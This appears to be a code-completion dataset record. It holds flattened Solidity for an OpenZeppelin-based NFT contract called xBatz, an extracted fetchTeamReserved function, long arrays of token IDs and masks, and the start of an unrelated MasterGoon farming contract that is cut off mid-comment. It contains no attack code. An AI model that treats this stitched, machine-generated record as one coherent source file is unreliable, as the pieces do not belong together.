{IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: contracts/0xBatz.sol pragma solidity ^0.8.10; contract xBatz is ERC721Enumerable, Ownable { using Strings for uint256; using Address for address; address public teamWallet; bool public mintEnabled = false; uint8 public perMint = 3; uint256 public price = 0 ether; uint256 public mintPrice = .01 ether; uint16 public maxSupply = 6666; uint16 public reserved = 250; string private baseURI; string private defaultURI; uint16 private psupply; /** * @notice Setup ERC721 */ constructor( string memory name, string memory symbol, string memory _defaultURI, address _teamWallet ) ERC721(name, symbol) { require(_teamWallet != address(0), "Zero address error"); defaultURI = _defaultURI; psupply = 0; teamWallet = _teamWallet; } /** * @notice Send ETH to owners wallet */ function ownerWithdraw() public onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } /** * @notice Send ETH to team wallet */ function teamWithdraw() public onlyOwner { uint256 balance = address(this).balance; payable(teamWallet).transfer(balance); } /** * @notice Make New 0xBatz * @param amount Amount of 0xBatz to mint * @dev Utilize unchecked {} and calldata for gas savings. */ function mint(uint256 amount) public payable { if ((psupply + amount > 666) && (psupply + amount < 669)) { require(mintPrice * (psupply + amount - 666) <= msg.value, "Ether value sent is not correct."); } require(mintEnabled, "Minting is disabled."); require(psupply + amount <= maxSupply - reserved, "Amount exceeds maximum supply of 0xBatz."); require(amount <= perMint, "Amount exceeds current maximum 0xBatz per mint."); require(price * amount <= msg.value, "Ether value sent is not correct."); uint16 supply = psupply; unchecked { for (uint16 i = 0; i < amount; i++) { _safeMint(msg.sender, supply++); } } psupply = supply; if (psupply >= 666) { price = mintPrice; perMint = 10; } } /** * @notice Send reserved 0xBatz * @param _to address to send reserved nfts to. * @param _amount number of nfts to send */ function fetchTeamReserved(address _to, uint16 _amount) public onlyOwner { require( _to != address(0), "Zero address error"); require( _amount <= reserved, "Exceeds reserved babies supply"); uint16 supply = psupply; unchecked { for (uint8 i = 0; i < _amount; i++) { _safeMint(_to, supply++); } } psupply = supply; reserved -= _amount; } /** * @notice Set price. * @param newPrice new minting price * @dev Only authorized accounts. */ function setPrice(uint256 newPrice) public onlyOwner { price = newPrice; } /** * @notice Return mint price. */ function getMintPrice() public view returns (uint256) { return price; } /** * @notice Toggles minting state. */ function toggleMintEnabled() public onlyOwner { mintEnabled = !mintEnabled; } /** * @notice Sets max 0xBatz per mint. */ function setPerMint(uint8 _perMint) public onlyOwner { perMint = _perMint; } /** * @notice Set base URI. */ function setBaseURI(string memory _baseURI) public onlyOwner { baseURI = _baseURI; } /** * @notice Set default URI. */ function setDefaultURI(string memory _defaultURI) public onlyOwner { defaultURI = _defaultURI; } /** * @notice Set reserved. * @param _reserved new reserved amount. * @dev Only authorized accounts. */ function setReserved(uint16 _reserved) public onlyOwner { reserved = _reserved; } /** * @notice Set team wallet. * @param _teamWallet new team wallet address * @dev Only authorized accounts. */ function setTeamWallet(address _teamWallet) public onlyOwner { require(_teamWallet != address(0), "Zero address error"); teamWallet = _teamWallet; } function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "Token does not exist."); if (bytes(baseURI).length == 0) { return defaultURI; } else { return string(abi.encodePacked(baseURI, (tokenId).toString())); } } function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } }
* @notice Send reserved 0xBatz @param _to address to send reserved nfts to. @param _amount number of nfts to send/
function fetchTeamReserved(address _to, uint16 _amount) public onlyOwner { require( _to != address(0), "Zero address error"); require( _amount <= reserved, "Exceeds reserved babies supply"); uint16 supply = psupply; unchecked { for (uint8 i = 0; i < _amount; i++) { _safeMint(_to, supply++); } } psupply = supply; reserved -= _amount; }
311,217
[ 1, 3826, 8735, 374, 20029, 270, 94, 225, 389, 869, 1758, 358, 1366, 8735, 290, 1222, 87, 358, 18, 225, 389, 8949, 1300, 434, 290, 1222, 87, 358, 1366, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 2158, 8689, 10435, 12, 2867, 389, 869, 16, 2254, 2313, 389, 8949, 13, 203, 1377, 1071, 203, 1377, 1338, 5541, 203, 225, 288, 203, 1377, 2583, 12, 389, 869, 480, 225, 1758, 12, 20, 3631, 315, 7170, 1758, 555, 8863, 203, 1377, 2583, 12, 389, 8949, 1648, 8735, 16, 315, 424, 5288, 87, 8735, 324, 378, 606, 14467, 8863, 203, 1377, 2254, 2313, 14467, 273, 293, 2859, 1283, 31, 203, 1377, 22893, 288, 203, 3639, 364, 261, 11890, 28, 277, 273, 374, 31, 277, 411, 389, 8949, 31, 277, 27245, 288, 203, 5411, 389, 4626, 49, 474, 24899, 869, 16, 14467, 9904, 1769, 203, 3639, 289, 203, 1377, 289, 203, 1377, 293, 2859, 1283, 273, 14467, 31, 203, 1377, 8735, 3947, 389, 8949, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol'; import '@openzeppelin/contracts/security/ReentrancyGuard.sol'; import './interface/ITreasurer.sol'; import './GoonToken.sol'; import 'hardhat/console.sol'; // MasterGoon is the master of Goon. He manages Goon and is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once GOON is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug free. contract MasterGoon is Ownable, ReentrancyGuard { using SafeERC20 for IERC20; modifier onlyDev { require(msg.sender == dev, "MasterGoon Dev: caller is not the dev"); _; } modifier onlyFeeCollector { require( msg.sender == feeCollector, "MasterGoon Fee Collector: caller is not the fee collector" ); _; } // Category informations struct CatInfo { // Allocation points assigned to this category uint256 allocPoints; // Total pool allocation points. Must be at all time equal to the sum of all // pool allocation points in this category. uint256 totalPoolAllocPoints; // Name of this category string name; } // User informations struct UserInfo { // Amount of tokens deposited uint256 amount; // Reward debt. // // We do some fancy math here. Basically, any point in time, the amount of SUSHIs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accSushiPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accSushiPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. uint256 rewardDebt; // Time at which user can harvest this pool again uint256 nextHarvestTime; // Reward that will be unlockable when nextHarvestTime is reached uint256 lockedReward; } // Pool informations struct PoolInfo { // Address of this pool's token IERC20 token; //Category ID of this pool uint256 catId; // Allocation points assigned to this pool uint256 allocPoints; // Last block where GOON was distributed. uint256 lastRewardBlock; // Accumulated GOON per share, times 1e18. Used for rewardDebt calculations. uint256 accGoonPerShare; // Deposit fee for this pool, in basis points (from 0 to 10000) uint256 depositFeeBP; // Harvest interval for this pool, in seconds uint256 harvestInterval; } // The following limits exist to ensure that the owner of MasterGoon will // only modify the contract's settings in a specific range of value, that // the users can see by themselves at any time. // Maximum harvest interval that can be set uint256 public constant MAX_HARVEST_INTERVAL = 24 hours; // Maximum deposit fee that can be set uint256 public constant MAX_DEPOSIT_FEE_BP = 400; // Maximum goon reward per block that can be set uint256 public constant MAX_GOON_PER_BLOCK = 1e18; // The informations of each category CatInfo[] public catInfo; // The pools in each category. Used in front. mapping(uint256 => uint256[]) public catPools; // Total category allocation points. Must be at all time equal to the sum of // all category allocation points. uint256 public totalCatAllocPoints = 0; // The informations of each pool PoolInfo[] public poolInfo; // Mapping to keep track of which token has been added, and its index in the // array. mapping(address => uint256) public tokensAdded; // The informations of each user, per pool mapping(uint256 => mapping(address => UserInfo)) public userInfo; // The GOON token PolyGoonToken public immutable goon; // The Treasurer. Handles rewards. ITreasurer public immutable treasurer; // GOON minted to devs uint256 public devGoonPerBlock; // GOON minted as rewards uint256 public rewardGoonPerBlock; // The address to send dev funds to address public dev; // The address to send fees to address public feeCollector; // Launch block uint256 public startBlock; // Farming duration, in blocks uint256 public farmingDuration; event CategoryCreate(uint256 id, string indexed name, uint256 allocPoints); event CategoryEdit(uint256 id, uint256 allocPoints); event PoolCreate( address indexed token, uint256 indexed catId, uint256 allocPoints, uint256 depositFeeBP, uint256 harvestInterval ); event PoolEdit( address indexed token, uint256 indexed catId, uint256 allocPoints, uint256 depositFeeBP, uint256 harvestInterval ); event Deposit( address indexed user, uint256 indexed pid, uint256 amount, uint256 fee ); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( PolyGoonToken _goon, ITreasurer _treasurer, address _dev, address _feeCollector, uint256 _initGoonPerBlock, uint256 _startBlock, uint256 _farmingDuration ) { goon = _goon; treasurer = _treasurer; require( _initGoonPerBlock <= MAX_GOON_PER_BLOCK, "MasterGoon: too high goon reward" ); devGoonPerBlock = _initGoonPerBlock / 10; rewardGoonPerBlock = _initGoonPerBlock - devGoonPerBlock; require( _dev != address(0), "MasterGoon Dev: null address not permitted" ); dev = _dev; require( _feeCollector != address(0), "MasterGoon Fee Collector: null address not permitted" ); feeCollector = _feeCollector; startBlock = _startBlock; if (startBlock < block.number) { startBlock = block.number; } require( _farmingDuration * MAX_GOON_PER_BLOCK <= _goon.maxSupply() - _goon.totalMinted(), "MasterGoon: farming could go above GOON's max supply" ); farmingDuration = _farmingDuration; } // Update the starting block. Can only be called by the owner. // Can only be called before current starting block. // Can only be called if there is no pool registered. function updateStartBlock(uint256 _newStartBlock) external onlyOwner { require( block.number < startBlock, 'MasterGoon: Cannot change startBlock after farming has already started.' ); require( poolInfo.length == 0, 'MasterGoon: Cannot change startBlock after a pool has been registered.' ); require( _newStartBlock > block.number, 'MasterGoon: Cannot change startBlock with a past block.' ); startBlock = _newStartBlock; } // Update the dev address. Can only be called by the dev. function updateDev(address _newDev) onlyDev public { require( _newDev != address(0), "MasterGoon Dev: null address not permitted" ); dev = _newDev; } // Update the fee address. Can only be called by the fee collector. function updateFeeCollector(address _newFeeCollector) onlyFeeCollector public { require( _newFeeCollector != address(0), "MasterGoon Fee Collector: null address not permitted" ); feeCollector = _newFeeCollector; } // Update the goon per block reward. Can only be called by the owner. function updateGoonPerBlock(uint256 _newGoonPerBlock, bool _withUpdate) onlyOwner public { require( _newGoonPerBlock <= MAX_GOON_PER_BLOCK, "MasterGoon: too high goon reward" ); if (_withUpdate) { massUpdatePools(); } devGoonPerBlock = _newGoonPerBlock / 10; rewardGoonPerBlock = _newGoonPerBlock - devGoonPerBlock; } // View function to check the total goon generated every block function goonPerBlock() public view returns (uint256) { return devGoonPerBlock + rewardGoonPerBlock; } // View function to check if user can harvest pool function canHarvest( uint256 _poolId, address _user ) public view returns (bool) { return block.timestamp >= userInfo[_poolId][_user].nextHarvestTime; } // Create a new pool category. Can only be called by the owner. function createCategory( string calldata _name, uint256 _allocPoints, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalCatAllocPoints += _allocPoints; catInfo.push(CatInfo({ name: _name, allocPoints: _allocPoints, totalPoolAllocPoints: 0 })); emit CategoryCreate(catInfo.length - 1, _name, _allocPoints); } // Edit a pool category. Can only be called by the owner. function editCategory( uint256 _catId, uint256 _allocPoints, bool _withUpdate ) public onlyOwner { require(_catId < catInfo.length, "MasterGoon: category does not exist"); if (_withUpdate) { massUpdatePools(); } totalCatAllocPoints = totalCatAllocPoints - catInfo[_catId].allocPoints + _allocPoints; catInfo[_catId].allocPoints = _allocPoints; emit CategoryEdit(_catId, _allocPoints); } // Create a new token pool, after checking that it doesn't already exist. // Can only be called by owner. function createPool( uint256 _catId, IERC20 _token, uint256 _allocPoints, uint256 _depositFeeBP, uint256 _harvestInterval, bool _withUpdate ) public onlyOwner { require(_catId < catInfo.length, "MasterGoon: category does not exist"); require( _harvestInterval <= MAX_HARVEST_INTERVAL, "MasterGoon: too high harvest interval" ); require( _depositFeeBP <= MAX_DEPOSIT_FEE_BP, "MasterGoon: too high deposit fee" ); address tokenAddress = address(_token); require(tokensAdded[tokenAddress] == 0, "MasterGoon: token already registered"); if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; catInfo[_catId].totalPoolAllocPoints += _allocPoints; tokensAdded[tokenAddress] = poolInfo.length + 1; poolInfo.push(PoolInfo({ catId: _catId, token: _token, allocPoints: _allocPoints, lastRewardBlock: lastRewardBlock, accGoonPerShare: 0, depositFeeBP: _depositFeeBP, harvestInterval: _harvestInterval })); catPools[_catId].push(poolInfo.length - 1); emit PoolCreate( tokenAddress, _catId, _allocPoints, _depositFeeBP, _harvestInterval ); } // Edits a new token pool. Can only be 